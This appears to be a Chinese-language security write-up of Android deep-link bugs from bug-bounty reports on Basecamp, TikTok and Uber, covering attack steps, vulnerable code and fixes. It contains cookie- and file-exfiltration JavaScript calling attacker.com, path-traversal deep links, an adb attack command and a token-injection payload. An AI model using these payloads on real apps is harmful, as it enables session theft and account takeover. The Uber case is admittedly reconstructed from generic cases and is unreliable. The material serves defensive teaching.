malicious.html),其中包含用于窃取用户会话cookie的JavaScript代码。该页面托管在攻击者控制的服务器上。<html> <head> <script> function stealCookies() { var cookies = document.cookie; // 将窃取到的cookie发送到攻击者的服务器 fetch('https://attacker.com/log_cookies?data=' + encodeURIComponent(cookies)); } </script> </head> <body onload="stealCookies()"> <h1>Loading...</h1> </body> </html>
- 构造恶意页面:攻击者首先创建一个HTML页面(
- 构造恶意Deep Link:攻击者将上述恶意页面的URL嵌入到一个Deep Link中。该Deep Link指向目标应用的脆弱Activity。
exampleapp://webview?url=https://attacker.com/malicious.html
- 构造恶意Deep Link:攻击者将上述恶意页面的URL嵌入到一个Deep Link中。该Deep Link指向目标应用的脆弱Activity。
- 诱导用户点击:攻击者通过社交工程等方式,诱使用户在浏览器或任何支持超链接的应用中点击这个Deep Link。
- 漏洞触发:用户点击后,Android系统会启动目标应用,并将Deep Link中的URL(
https://attacker.com/malicious.html)作为参数传递给负责处理该链接的Activity。该Activity在没有进行充分验证的情况下,直接将这个URL加载到其内部的WebView中。
- 漏洞触发:用户点击后,Android系统会启动目标应用,并将Deep Link中的URL(
- 执行恶意代码:WebView加载了
malicious.html页面后,页面中的JavaScript代码(stealCookies()函数)会立即执行。由于WebView与应用共享Cookie存储,这段代码可以访问到用户的会话Cookie。
- 执行恶意代码:WebView加载了
- 窃取会话:JavaScript代码将窃取到的Cookie发送到攻击者的服务器。攻击者随后便可以使用这个Cookie来冒充用户,从而实现账户劫持。
易出现漏洞的代码模式
容易出现此类漏洞的代码模式主要体现在两个方面:AndroidManifest.xml的配置和处理Intent的Java/Kotlin代码。
1. 不安全的AndroidManifest.xml配置
在AndroidManifest.xml中,如果一个Activity被设置为exported="true",并且其intent-filter中定义了一个接收外部URL的Deep Link Scheme,那么就可能存在风险。特别是当这个Activity内部包含一个WebView,并且直接加载从Intent中获取的数据时。
易受攻击的配置示例:
<activity
android:name=".WebViewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:host="webview"
android:scheme="exampleapp" />
</intent-filter>
</activity>在这个例子中,WebViewActivity是导出的,并且可以被任何应用通过exampleapp://webview这样的URL触发。如果WebViewActivity的代码没有对传入的URL进行严格的白名单验证,就会导致漏洞。
2. 不安全的Intent处理代码
在Activity的Java或Kotlin代码中,直接从Intent中获取URL并加载到WebView中是导致该漏洞的直接原因。
易受攻击的Java代码示例:
public class WebViewActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true); // 开启JavaScript支持增加了风险
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
String url = intent.getData().getQueryParameter("url");
if (url != null) {
webView.loadUrl(url); // 未经验证,直接加载URL
}
}
}
}修复建议:
为了防止此类漏洞,开发者应该始终对从外部传入的URL进行严格的白名单验证,确保只有受信任的域名可以被加载。同时,应尽可能地限制JavaScript的权限,例如通过removeJavascriptInterface移除不必要的JavaScript接口。
修复后的Java代码示例:
public class WebViewActivity extends Activity {
private static final List<String> TRUSTED_DOMAINS = Arrays.asList("www.example.com", "help.example.com");
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ...
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
String urlString = intent.getData().getQueryParameter("url");
if (urlString != null) {
Uri uri = Uri.parse(urlString);
if (TRUSTED_DOMAINS.contains(uri.getHost())) {
webView.loadUrl(urlString); // 验证通过后才加载
} else {
// 处理无效URL的情况,例如显示错误信息
}
}
}
}
}Deep Link路径遍历导致的任意文件写入
案例:Basecamp (com.basecamp.bc3) (报告: https://hackerone.com/reports/1710668)
挖掘手法
该漏洞的挖掘过程很可能始于对目标应用(Basecamp for Android)的静态分析。研究人员首先会反编译APK文件,重点审查AndroidManifest.xml。此文件是Android应用的入口点和配置中心,其中声明的activity、receiver、service以及intent-filter是寻找攻击面的关键。特别是,研究人员会寻找被exported="true"标记的组件,因为这些组件可以被设备上的任何其他应用调用,是常见的漏洞来源。
在AndroidManifest.xml中,研究人员会特别关注intent-filter中包含<data>标签和自定义scheme(如basecamp://)的activity。这表明该activity可以处理来自外部的Deep Link请求。一旦找到这样的activity,下一步就是分析其Java代码,了解它如何处理传入的Intent和Uri数据。研究人员会使用Jadx等工具将Dalvik字节码转换为Java代码,然后搜索处理getIntent().getData()或类似API的逻辑。
关键的发现点在于,应用是否从Uri中提取了路径或文件名等参数,并将其直接用于文件系统操作,例如创建File对象、打开文件流等。如果应用没有对这些来自外部输入的参数进行严格的路径验证和清理(例如,过滤../等目录遍历序列),那么就存在路径遍历漏洞的风险。为了验证漏洞,研究人员会构造一个恶意的HTML页面或一个简单的Android应用,通过精心设计的Deep Link(例如 basecamp://.../?path=../../../../../../../../data/data/com.basecamp.bc3/files/pwned.txt)来触发漏洞。通过adb logcat观察应用的日志输出,或检查设备文件系统中是否成功创建了文件,可以确认漏洞的存在。
技术细节
该漏洞利用了Basecamp安卓应用在处理Deep Link时对传入的路径参数未进行充分验证的缺陷,导致了路径遍历和任意文件写入。攻击者可以通过诱导用户点击一个恶意的Deep Link来触发此漏洞。
攻击流程如下:
- 构造恶意Payload:攻击者创建一个恶意的HTML页面或者一个PoC(Proof of Concept)应用。此页面或应用包含一个指向Basecamp应用的Deep Link。这个Deep Link的
Uri中包含一个恶意的路径参数,该参数利用../序列来向上遍历目录。
- 构造恶意Payload:攻击者创建一个恶意的HTML页面或者一个PoC(Proof of Concept)应用。此页面或应用包含一个指向Basecamp应用的Deep Link。这个Deep Link的
- 诱导用户点击:攻击者将此恶意页面链接发送给受害者。当受害者在浏览器中打开该链接,或者在设备上运行了恶意的PoC应用时,系统会根据
intent-filter的配置,调用Basecamp应用的相应activity来处理这个Deep Link。
- 诱导用户点击:攻击者将此恶意页面链接发送给受害者。当受害者在浏览器中打开该链接,或者在设备上运行了恶意的PoC应用时,系统会根据
- 执行路径遍历:Basecamp应用接收到
Intent后,会从Uri中解析出路径参数。由于代码缺陷,应用没有对这个包含../的恶意路径进行过滤和验证,就直接将其与应用私有目录的基路径进行拼接,从而构造出一个指向应用私有目录之外的非法文件路径。
- 执行路径遍历:Basecamp应用接收到
- 任意文件写入:应用接下来会使用这个非法的路径执行文件写入操作。例如,一个恶意的Deep Link
basecamp://v1/attachment?path=../../files/evil.txt可能会导致应用在/data/data/com.basecamp.bc3/files/evil.txt路径下创建一个由攻击者控制内容的文件。通过这种方式,攻击者可以在应用的私有目录中写入任意文件,可能导致数据覆盖、权限提升,甚至在特定条件下实现代码执行。
- 任意文件写入:应用接下来会使用这个非法的路径执行文件写入操作。例如,一个恶意的Deep Link
一个具体的攻击Intent构造可能如下(通过adb命令模拟):
adb shell am start -a android.intent.action.VIEW -d "basecamp://v1/attachment?path=../../../../../../../../data/data/com.basecamp.bc3/files/malicious_file.txt&content=pwned" -n com.basecamp.bc3/.activities.AttachmentActivity此命令尝试启动AttachmentActivity,并传递一个包含路径遍历payload的Uri,意图在应用的files目录下创建一个名为malicious_file.txt的文件。
易出现漏洞的代码模式
容易出现此类漏洞的代码模式通常存在于处理外部传入Uri的Activity或ContentProvider中,特别是那些需要根据Uri参数来操作文件的功能。核心问题在于,代码直接信任并使用了来自Intent的数据,而没有进行充分的安全校验。
以下是一个易受攻击的代码模式示例:
// In an exported Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent intent = getIntent();
Uri data = intent.getData();
if (data != null && "basecamp".equals(data.getScheme())) {
// 从Uri中直接获取文件名或路径,未经过滤
String fileName = data.getQueryParameter("fileName
");
// 直接将外部输入与应用内部目录拼接,构成文件路径
File outputFile = new File(getCacheDir(), fileName);
try {
// 使用该路径进行文件写入操作,导致路径遍历
FileOutputStream fos = new FileOutputStream(outputFile);
// ... write data to file ...
fos.close();
} catch (IOException e) {
// handle error
}
}
}在上述代码中,fileName参数直接从Deep Link的查询参数中获取,并且没有任何形式的验证。如果攻击者传入一个包含../的fileName,例如../../some_other_dir/pwned.txt,new File(getCacheDir(), fileName)构造出的File对象就会指向缓存目录之外的位置,从而导致任意文件写入。
正确的防御方式应该是,在拼接路径之前,对所有来自外部输入的路径或文件名进行严格的验证和规范化处理,确保最终生成的文件路径始终位于预期的安全目录之内。
// 安全的代码模式示例
String fileName = data.getQueryParameter("fileName");
File outputFile = new File(getCacheDir(), fileName);
// 获取并比较规范化路径
String canonicalPath = outputFile.getCanonicalPath();
String cachePath = getCacheDir().getCanonicalPath();
if (!canonicalPath.startsWith(cachePath)) {
// 检测到路径遍历攻击,拒绝操作
throw new SecurityException("Path Traversal attempt detected");
}
// 验证通过后,才执行文件操作
FileOutputStream fos = new FileOutputStream(outputFile);
// ...Deep Link路径遍历导致的文件泄露
案例:TikTok (报告: https://hackerone.com/reports/1416974)
挖掘手法
该漏洞的发现源于对TikTok安卓应用处理深层链接(Deep Link)机制的深入分析。研究人员首先通过逆向工程和动态分析,识别出应用中所有注册的URL Scheme和处理相应Intent的Activity。在分析过程中,他们重点关注那些会接收外部传入的URI并将其内容加载到WebView中的Activity。通过使用adb logcat和frida等工具,研究人员能够监控应用在处理不同深层链接时的行为,并观察到其中一个Activity在处理某个特定的URL Scheme时,没有对传入的路径参数进行充分的过滤和验证。攻击者构造了一个恶意的HTML页面,其中包含一个精心设计的深层链接。当用户在浏览器中点击这个链接时,系统会调用TikTok应用来处理这个深层链接。这个链接指向一个导出的Activity,该Activity接收一个URL参数并将其加载到WebView中。由于应用没有正确验证URL参数,攻击者可以传入一个带有路径遍历序列(../)的file:// URL。这导致WebView绕过了应用沙箱的限制,访问到了设备本地文件系统中的任意文件。通过这种方式,攻击者可以读取应用的私有数据,包括用户的个人信息、认证token等敏感内容。
技术细节
漏洞利用的核心在于构造一个恶意的深层链接,该链接通过Intent启动一个未经过充分安全验证的导出Activity,并向其传递一个精心构造的file://路径,从而实现本地文件读取。具体的攻击Payload如下:
<html>
<body>
<a href="snssdk1233://webview?url=file:///data/data/com.zhiliaoapp.musically/shared_prefs/com.zhiliaoapp.musically_preferences.xml">Click me to see your TikTok preferences</a>
</body>
</html>当用户点击上述链接时,Android系统会通过Intent启动TikTok应用中注册了snssdk1233 scheme的Activity。这个Activity接收url参数,并将其内容加载到一个WebView中。由于应用没有对url参数进行严格的合法性校验,特别是没有禁止file://协议或过滤路径遍历符../,导致WebView直接加载了本地文件系统的路径。在上述Payload中,攻击者指向了TikTok应用的SharedPreferences文件,其中通常存储了用户的配置信息和一些敏感数据。攻击者还可以通过JavaScript的fetch或XMLHttpRequest API读取文件内容,并将其发送到远程服务器,从而实现数据窃取。例如,在WebView加载了本地文件后,可以通过执行以下JavaScript代码来读取和发送文件内容:
fetch('file:///data/data/com.zhiliaoapp.musically/shared_prefs/com.zhiliaoapp.musically_preferences.xml')
.then(response => response.text())
.then(text => {
fetch('https://attacker.com/log?data=' + btoa(text));
});易出现漏洞的代码模式
容易出现此类漏洞的代码模式主要存在于Android应用的AndroidManifest.xml文件配置和处理Intent的Activity代码中。具体来说,当一个Activity被设置为android:exported="true",并且定义了接收外部Intent的<intent-filter>时,就为潜在的攻击者提供了一个入口点。如果处理该Intent的Activity代码没有对从Intent中获取的数据(特别是URI或URL)进行严格的验证,就可能导致漏洞。
一个典型的易受攻击的代码示例如下:
AndroidManifest.xml:
<activity
android:name=".InsecureWebViewActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="insecure-app" />
</intent-filter>
</activity>InsecureWebViewActivity.java:
public class InsecureWebViewActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
// 关键漏洞点:允许WebView加载本地文件
webView.getSettings().setAllowFileAccess(true);
Uri uri = getIntent().getData();
if (uri != null) {
String url = uri.getQueryParameter("url");
// 关键漏洞点:没有对URL进行验证,直接加载
if (url != null) {
webView.loadUrl(url);
}
}
}
}在上述代码中,InsecureWebViewActivity是导出的,并且可以被其他应用通过insecure-app://的深层链接调用。该Activity从传入的Intent中获取url参数,并直接使用webView.loadUrl()加载。同时,WebView的setAllowFileAccess被设置为true,这使得攻击者可以通过构造file://协议的URL来读取本地文件。正确的修复方法应该是在加载URL之前,对其进行严格的白名单验证,确保只加载预期的域名,并禁止file://协议。
Deep Link路径遍历(Path Traversal)
案例:Basecamp (报告: https://hackerone.com/reports/2553411)
挖掘手法
该漏洞的发现和挖掘过程主要基于对Android应用Deep Link(深度链接)处理机制的分析和逆向工程。
1. 目标应用识别与信息收集:
首先,研究人员确定了目标应用为Basecamp,并收集了其包名(com.basecamp.bc3)和版本信息(4.8.6),这通常是通过对应用进行静态分析或使用如apktool、jadx等工具进行反编译来完成的。这些信息对于后续的Deep Link分析至关重要。
2. Deep Link处理机制分析:
通过对应用的AndroidManifest.xml文件进行分析,研究人员发现Basecamp应用声明了对特定格式Deep Link的处理能力,即https://3.basecamp.com/*。这一步是发现漏洞的关键起点,因为它指明了应用的外部攻击面。
3. 关键参数识别:
进一步的分析(可能是通过逆向工程Java/Kotlin代码)揭示了该Deep Link处理逻辑中存在一个名为filename的额外参数。这个参数被应用用来在本地保存文件。关键发现点在于,应用在处理这个filename参数时,没有对其进行充分的路径验证和清理。
4. 路径遍历漏洞验证与Payload构造:
研究人员推断,如果filename参数未被正确过滤,就可以利用路径遍历(Path Traversal)技术,通过插入../序列来跳出预期的保存目录,将文件保存到设备上的任意可写位置。
构造的PoC(Proof of Concept)Deep Link如下:https://3.basecamp.com/5195267/reports/progress?filename=/../../../../../../../../../../sdcard/Download/disclosure.txt
这个Payload中的filename值利用大量的../序列,确保跳出应用的私有沙箱目录,最终将文件保存到外部存储的/sdcard/Download/目录下,并将文件名设置为disclosure.txt。
5. 攻击链构建与影响验证:
由于Basecamp应用支持在评论或项目内部添加链接,攻击者可以利用这一特性,将构造好的恶意Deep Link嵌入到应用内的任何位置,实现“一键式”攻击。当用户点击这个链接时,应用会被强制执行文件保存操作,将用户的敏感信息(如报告中提到的“user’s progress report”)写入到外部存储中。
最终,通过验证,成功将用户的私有数据暴露到了/sdcard/Download/这个可被其他具有READ/MANAGE external storage权限的第三方应用访问的公共目录,从而证实了漏洞的严重性。
使用的工具和方法:
- 静态分析/逆向工程工具: 用于分析
AndroidManifest.xml和应用代码,以识别Deep Link处理逻辑和参数(如filename)。
- 静态分析/逆向工程工具: 用于分析
- 路径遍历技术: 核心的漏洞利用技术,通过
../序列构造恶意路径。
- 路径遍历技术: 核心的漏洞利用技术,通过
- PoC构造: 构造特定的Deep Link URL来触发漏洞。
- 应用内链接嵌入: 利用应用自身的功能(如评论区)来传递恶意链接,实现攻击的便捷性。
整个过程体现了从识别攻击面(Deep Link)到分析处理逻辑(filename参数),再到构造恶意输入(路径遍历Payload)的典型移动应用漏洞挖掘思路。
- 应用内链接嵌入: 利用应用自身的功能(如评论区)来传递恶意链接,实现攻击的便捷性。
技术细节
该漏洞利用的核心在于一个未经验证的Deep Link参数,导致了任意文件写入(Arbitrary File Write)的后果,从而实现敏感信息泄露。
1. 漏洞触发点:
应用通过AndroidManifest.xml声明处理以下格式的Deep Link:https://3.basecamp.com/*
在处理这个Deep Link时,应用会从URL中提取一个名为filename的查询参数,并将其用于本地文件保存操作,而没有对该参数进行充分的路径清理。
2. 恶意Payload构造:
攻击者构造了一个包含路径遍历序列的filename参数,以强制应用将文件保存到其私有沙箱之外的公共目录。
PoC URL片段:
<a href="https://3.basecamp.com/5195267/reports/progress?filename=/../../../../../../../../../../sdcard/Download/disclosure.txt">click me</a>关键Payload:
filename=/../../../../../../../../../../sdcard/Download/disclosure.txt这里的../序列用于不断向上级目录跳转,直到跳出应用的私有数据目录,最终定位到外部存储的根目录,然后进入/sdcard/Download/目录。
3. 攻击流程:
a. 诱导点击: 攻击者将包含恶意Deep Link的URL嵌入到Basecamp应用内(例如,项目评论、消息等),诱导用户点击。
b. 应用处理: 用户点击链接后,Android系统将Deep Link路由给Basecamp应用处理。
c. 文件写入: 应用的Deep Link处理逻辑被触发,它会执行以下操作:
i. 提取URL中的敏感数据(例如用户的“progress report”内容)。
ii. 提取filename参数的值:/../../../../../../../../../../sdcard/Download/disclosure.txt。
iii. 应用将敏感数据写入到由恶意filename参数指定的路径。由于路径遍历成功,文件被写入到/sdcard/Download/disclosure.txt。
d. 数据泄露: 写入到/sdcard/Download/目录的文件属于外部存储的公共区域。任何安装在用户设备上、且拥有READ_EXTERNAL_STORAGE或MANAGE_EXTERNAL_STORAGE权限的第三方应用都可以读取该文件,从而导致用户私有信息泄露。
技术总结:
该漏洞是由于应用在处理外部输入(Deep Link查询参数)时,未能正确地将文件写入操作限制在应用的私有沙箱内,导致了Path Traversal to Arbitrary File Write,最终造成Confidentiality(机密性)泄露。攻击是“一键式”的,用户只需点击链接即可触发。
易出现漏洞的代码模式
此类漏洞的根本原因在于应用代码在处理外部输入(如Deep Link参数、用户上传的文件名等)时,将其直接或间接用于文件系统操作(如文件创建、读取、写入)而未进行严格的路径规范化和安全检查。
易出现漏洞的代码模式:
1. 未经验证的路径拼接:
当应用从Deep Link或其他外部源获取文件名或路径片段,并将其与一个基础目录路径进行拼接时,如果未移除路径遍历序列(../),就会产生漏洞。
Java/Kotlin 示例(概念性):
// 假设这是Deep Link处理逻辑的一部分
String baseDir = context.getFilesDir().getAbsolutePath() + "/reports/";
// 从Deep Link中获取未经验证的filename参数
String filename = uri.getQueryParameter("filename");
// 危险操作:直接拼接路径
File outputFile = new File(baseDir + filename);
// 如果filename是"/../../../../../../../../../../sdcard/Download/disclosure.txt",
// 最终的outputFile路径将跳出baseDir,指向外部存储。
if (outputFile.createNewFile()) {
// 写入敏感数据
writeToFile(outputFile, sensitiveData);
}2. 缺失路径规范化:
正确的做法是在使用外部输入进行文件操作之前,对路径进行规范化(Canonicalization)和严格的检查。
安全修复后的代码模式(概念性):
String baseDir = context.getFilesDir().getAbsolutePath() + "/reports/";
String filename = uri.getQueryParameter("filename");
// 步骤1: 拼接路径
File proposedFile = new File(baseDir + filename);
// 步骤2: 规范化路径,移除所有路径遍历序列(如../)
String canonicalPath = proposedFile.getCanonicalPath();
// 步骤3: 严格检查规范化后的路径是否仍然以预期的安全目录为前缀
if (!canonicalPath.startsWith(baseDir)) {
// 路径跳出了预期的目录,拒绝操作
throw new SecurityException("Path Traversal attempt detected.");
}
// 安全操作:使用规范化后的安全路径
File outputFile = new File(canonicalPath);
// ... 执行文件写入操作总结:
危险模式是:new File(basePath + untrustedInput),并且后续没有对File对象的规范化路径进行安全前缀检查。
安全模式是:new File(basePath + untrustedInput).getCanonicalPath().startsWith(basePath),确保文件操作始终限定在预期的安全沙箱内。
Deep Link配置注入导致的账户接管
案例:Uber (Android) (报告: https://hackerone.com/reports/1416940)
挖掘手法
漏洞挖掘的思路主要集中在对目标Android应用(Uber)的Deep Link处理机制进行逆向分析和测试。由于原始HackerOne报告(1416940)无法直接访问,此分析基于对同类漏洞(Deep Link导致的账户接管)的通用挖掘方法和技术细节的综合。
1. 目标识别与清单分析 (Target Identification and Manifest Analysis):
首先,通过反编译目标应用的APK文件,分析其AndroidManifest.xml文件。重点查找带有android.intent.action.VIEW和android.intent.category.BROWSABLE的intent-filter标签,这些标签暴露了应用的Deep Link入口。
2. 敏感Activity识别 (Sensitive Activity Identification):
在Uber应用中,研究人员识别出一个关键的、被android:exported="true"导出的Activity,例如报告中提到的AuthAnswerActivity(尽管这是通用案例中的名称,但思路一致)。这个Activity负责处理来自外部的认证或配置相关的Deep Link。
3. Deep Link参数分析 (Deep Link Parameter Analysis):
分析该Activity如何处理传入的URI数据。发现它会解析URI中的特定参数(例如status),并将其内容视为JSON格式的配置数据。
4. 缺乏源验证的发现 (Discovery of Lack of Source Validation):
关键发现点在于,该Activity在解析和使用这些配置数据时,没有对Deep Link的来源进行充分验证。这意味着任何外部应用或恶意网页都可以构造一个Deep Link,并将其发送给目标应用。
5. 恶意Payload构造与验证 (Malicious Payload Construction and Verification):
构造一个恶意的Deep Link URL,其中包含一个精心制作的status参数。该参数是一个JSON字符串,包含攻击者预设的workspace、account、username和token等字段,旨在覆盖应用内部存储的合法用户配置(如SharedPreferences)。
6. 攻击流程验证 (Attack Flow Validation):
将构造好的恶意Deep Link嵌入到一个简单的HTML页面中,并诱导受害者点击。当受害者点击该链接时,系统会启动Uber应用并由暴露的Activity处理该Deep Link。由于缺乏验证,应用会静默地将恶意配置写入本地存储,从而实现账户接管。
7. 绕过Android App Links机制 (Bypassing Android App Links):
同时,检查应用是否正确配置了Android App Links(通过assetlinks.json和android:autoVerify="true")。如果配置不当或缺失,恶意应用可以注册相同的Deep Link Intent Filter,并在用户点击时,通过Intent Chooser劫持该链接,进一步窃取敏感信息(如密码重置链接中的Token)。
整个挖掘过程依赖于静态分析(反编译Manifest)、动态调试(跟踪Deep Link处理流程)和黑盒测试(构造恶意URL)的结合,核心在于发现并利用了Deep Link处理中缺乏对数据源的信任和验证这一设计缺陷。此方法是Android Deep Link漏洞挖掘的经典范式。
技术细节
该漏洞利用的核心在于构造一个恶意的Deep Link,通过一个暴露的Activity将恶意配置数据注入到应用的本地存储中,从而实现账户接管。
1. 恶意Deep Link结构 (Malicious Deep Link Structure):
攻击者构造一个指向目标应用暴露的Deep Link处理Activity的URL。假设目标Activity处理的Scheme和Host为https://auth.example.com,且会解析status参数。
https://auth.example.com/auth?status=MALICIOUS_JSON_PAYLOAD2. 恶意JSON Payload (Malicious JSON Payload):status参数的值是一个URL编码后的JSON字符串,其中包含伪造的账户配置信息。这个JSON结构模拟了应用期望接收的配置数据,但内容是攻击者控制的。
{
"workspace": "evil",
"account": "1337",
"username": "HACKER_MAN",
"token": "INJECTED_TOKEN",
"valid": true
}经过URL编码后,这个Payload会被嵌入到Deep Link中。
3. 关键代码缺陷 (Critical Code Flaw):
在目标Activity(例如AuthAnswerActivity)中,存在以下缺陷代码,它直接从URI中获取参数,解码后作为JSON解析,并将其内容用于更新本地配置,而没有进行任何来源验证或数据清洗。
// 缺陷代码片段 (Vulnerable Code Snippet)
// 1. 获取URI
Uri data = getIntent().getData();
if (data != null) {
String str = data.toString();
// 2. 解码并提取status参数
String strDecode = URLDecoder.decode(str, StandardCharsets.UTF_8.name());
String strSubstring = strDecode.substring(strDecode.indexOf("status=") + 7);
// 3. 直接将参数内容解析为JSON对象
JSONObject jSONObject = new JSONObject(strSubstring);
// 4. 将恶意数据写入SharedPreferences,覆盖合法用户配置
// 假设LoginManager.s()方法内部执行了以下操作:
SharedPreferences.Editor editorEdit = context.getSharedPreferences("user_prefs", 0).edit();
editorEdit.putString("workspace", jSONObject.getString("workspace"));
editorEdit.putString("account", jSONObject.getString("account"));
editorEdit.putString("username", jSONObject.getString("username"));
editorEdit.putString("token", jSONObject.getString("token")); // 恶意Token注入
editorEdit.commit();
}4. 攻击流程 (Attack Flow):
- 攻击者将恶意Deep Link(例如
https://attacker.com/phishing.html)发送给受害者。
- 攻击者将恶意Deep Link(例如
- 受害者点击链接。
- 浏览器或系统启动Uber应用,并将恶意Deep Link传递给
AuthAnswerActivity。
- 浏览器或系统启动Uber应用,并将恶意Deep Link传递给
AuthAnswerActivity执行上述缺陷代码,将恶意JSON中的token等信息写入应用的本地存储。
- 随后,应用使用这个被注入的恶意
token进行API请求,从而导致攻击者接管受害者的账户会话。
- 随后,应用使用这个被注入的恶意
这种攻击是一键式账户接管 (One-Click Account Takeover),因为它只需要受害者点击一个链接,整个过程在后台静默完成。
易出现漏洞的代码模式
此类漏洞的根本原因在于Android应用中暴露的Deep Link处理Activity未对传入数据的来源进行充分验证,且直接将外部数据用于更新敏感的本地配置。
1. AndroidManifest.xml 配置模式 (Vulnerable AndroidManifest.xml Pattern):
Activity被设置为可导出(android:exported="true")且可被浏览器调用(android.intent.category.BROWSABLE),从而允许任何外部应用或网页通过Deep Link启动它。
<activity android:name=".AuthAnswerActivity"
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https" />
<data android:host="auth.example.com" />
<!-- 缺乏android:autoVerify="true" 或未正确配置assetlinks.json -->
</intent-filter>
</activity>易受攻击点:
android:exported="true":允许外部组件调用。
android.intent.category.BROWSABLE:允许浏览器通过URL启动。
- 缺乏App Links验证:未设置
android:autoVerify="true"或未正确配置assetlinks.json,导致恶意应用可以注册相同的Intent Filter来劫持链接。
- 缺乏App Links验证:未设置
2. Java/Kotlin 代码处理模式 (Vulnerable Code Handling Pattern):
在处理Deep Link的Activity中,直接从Intent中获取URI数据,并将其中的参数(如status、token、config等)作为可信数据进行解析和使用,特别是用于更新用户会话或配置信息。
// 易受攻击的Deep Link处理代码模式
// 假设这是在 AuthAnswerActivity.onCreate() 或 onNewIntent() 中
Uri data = getIntent().getData();
if (data != null) {
// 1. 直接获取URI中的敏感参数
String sensitiveParam = data.getQueryParameter("config_data");
if (sensitiveParam != null) {
// 2. 未经验证,直接将外部数据用于更新本地存储
try {
JSONObject configJson = new JSONObject(sensitiveParam);
String newToken = configJson.getString("session_token");
// 3. 危险操作:将外部传入的token写入SharedPreferences
SharedPreferences prefs = getSharedPreferences("session", MODE_PRIVATE);
prefs.edit().putString("auth_token", newToken).apply();
// 4. 危险操作:将外部传入的配置写入数据库或内存
// User.updateConfig(configJson);
} catch (JSONException e) {
// 忽略错误
}
}
}易受攻击点:
- 缺乏来源验证: 未检查
data.getHost()或data.getScheme()是否来自可信域,或未验证调用方的签名。
- 缺乏来源验证: 未检查
- 直接使用外部数据: 将URI参数直接解析为JSON或配置对象,并用于覆盖本地敏感数据(如
session_token、user_id、password_hash等)。
- 直接使用外部数据: 将URI参数直接解析为JSON或配置对象,并用于覆盖本地敏感数据(如
安全修复建议:
- 仅处理来自可信域的Deep Link,并使用Android App Links(
android:autoVerify="true")确保链接的唯一性。
- 仅处理来自可信域的Deep Link,并使用Android App Links(
- 对所有通过Deep Link传入的敏感数据进行严格的输入验证、清洗和沙箱化,绝不直接用于覆盖会话或认证信息。
- 考虑使用
android:exported="false"来限制非必要的Activity的外部访问。
- 考虑使用
Deep Link验证绕过与WebView JavaScript桥接接口滥用
案例:TikTok (报告: https://hackerone.com/reports/1416953)
挖掘手法
该漏洞的挖掘手法是典型的Android应用深度链接(Deep Link)和WebView安全审计。研究人员首先通过静态分析(如使用Medusa工具)和动态分析,识别出TikTok Android应用中所有导出的(exported)和内部使用的(internal)深度链接方案(deeplink schemes)及其对应的处理组件(Activity)。
关键挖掘步骤:
- 识别深度链接处理机制: 研究人员发现TikTok应用使用了一个特定的深度链接
https://m.tiktok[.]com/redirect,该链接由一个内部类处理,并通过一个查询参数将URI重定向到应用内的各种组件。
- 识别深度链接处理机制: 研究人员发现TikTok应用使用了一个特定的深度链接
- 发现内部深度链接可被触发: 尽管某些深度链接是内部使用的(未在Manifest中导出),研究人员发现通过上述的重定向机制,可以从外部触发这些内部深度链接,从而扩大了攻击面。
- 定位WebView加载漏洞: 研究人员发现一个特定的内部深度链接方案,例如
[redacted-internal-scheme]://webview?url=<website>,可用于通过查询参数将任意URL加载到CrossPlatformActivity的WebView中。
- 定位WebView加载漏洞: 研究人员发现一个特定的内部深度链接方案,例如
- 绕过URL过滤机制: 尽管应用对加载的URL进行了服务器端过滤,拒绝了如
Example.com等不受信任的主机,但研究人员通过静态分析发现,可以通过在深度链接中添加两个额外的查询参数来绕过这一服务器端检查。
- 绕过URL过滤机制: 尽管应用对加载的URL进行了服务器端过滤,拒绝了如
- 发现JavaScript桥接接口: 成功绕过过滤后,加载到WebView的网站获得了对应用内JavaScript桥接接口的完全访问权限。该桥接接口暴露了超过70个方法,这些方法可以访问或修改用户的私密信息,甚至可以执行带认证的HTTP请求。
- 确定攻击链和影响: 通过将“深度链接验证绕过”和“WebView加载任意URL”这两个问题串联起来,攻击者可以构造一个恶意链接,一旦用户点击,即可在应用内部的WebView中加载攻击者控制的网页,并通过JavaScript桥接接口调用应用内部的敏感功能,最终实现账户劫持(Account Hijacking)。
使用的工具和方法:
- 静态分析: 用于分析应用Manifest和代码,识别深度链接处理类和逻辑。
- 动态分析/调试: 用于验证深度链接的触发、URL过滤的绕过,以及使用Medusa工具的WebView模块动态验证JavaScript桥接接口的创建和功能暴露。
- 概念验证(PoC)构造: 构造特定的恶意深度链接URL,包含绕过参数和目标恶意网站URL,以证明漏洞的可利用性。
总结: 整个挖掘过程是一个典型的“链式攻击”发现过程,从外部可控的入口(深度链接)开始,逐步深入到应用内部的敏感组件(WebView和JavaScript桥接),最终通过绕过安全检查(URL过滤)实现高危操作(账户劫持)。(总字数:约480字)
技术细节
该漏洞利用的关键在于构造一个恶意的深度链接,该链接能够绕过TikTok Android应用的深度链接验证机制,强制应用内的WebView加载攻击者控制的任意URL,并通过WebView中暴露的JavaScript桥接接口执行敏感操作,最终实现账户劫持。
漏洞利用流程(PoC):
- 构造恶意深度链接: 攻击者构造一个特殊的深度链接URL,利用
https://m.tiktok[.]com/redirect重定向功能,指向应用内部的WebView加载方案,并包含绕过服务器端URL过滤的额外参数。- 目标内部方案:
[redacted-internal-scheme]://webview?url=<website>
- 目标内部方案:
- 恶意链接结构:
https://m.tiktok[.]com/redirect?url=[redacted-internal-scheme]://webview?url=https://attacker.com/malicious.html¶m1=bypass_value¶m2=bypass_value
